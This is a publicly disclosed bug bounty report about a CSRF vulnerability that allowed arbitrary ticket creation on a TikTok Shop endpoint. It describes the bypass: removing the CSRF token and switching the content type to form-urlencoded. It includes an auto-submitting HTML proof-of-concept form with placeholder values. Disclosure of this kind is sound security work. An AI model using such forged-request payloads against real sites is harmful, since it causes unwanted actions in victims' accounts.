HexBrain

TikTok · Report #1890310

CSRF in ticket function

Validstatus
mediumseverity
80upvotes
5 Nov 2024disclosed

Summary

A cross-site request forgery (CSRF) vulnerability was found on a TikTok Shop endpoint, which could have resulted in the arbitrary creation of tickets. We thank @ibrahim0936356 for reporting this to our team

Hi there!

I found this issue by removing the CsrfToken from the header and converting the content type from JSON to x-www-form-urlencoded. After multiple attempts, I was able to create the final payload:

<form method="POST" action="https://vulnerableEndpoint">
    
    <input type="hidden" name="category_id" value="X"/>
    <input type="hidden" name="title" value="Happy"/>
    <input type="hidden" name="componentContents" value='[{"id":"X","raw_value":"very happy"},{"id":"X","raw_value":"[{\"status\":\"done\",\"percent\":XXXX,\"uid\":\"XXXX\",\"originFile\":{},\"name\":\"XXXX\",\"response\":{\"file_id\":\"XXXXXX\",\"file_name\":\"XXXX\",\"file_type\":\"image/png\",\"file_src\":X,\"url\":\"XXXX\"}}]","plain_value":"[\"XXXXXX\"]"}]'/>
</form>
    <script>
        document.forms[0].submit();
    </script>

If you need more tips, feel free to follow me on X: Ibrahim AH

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original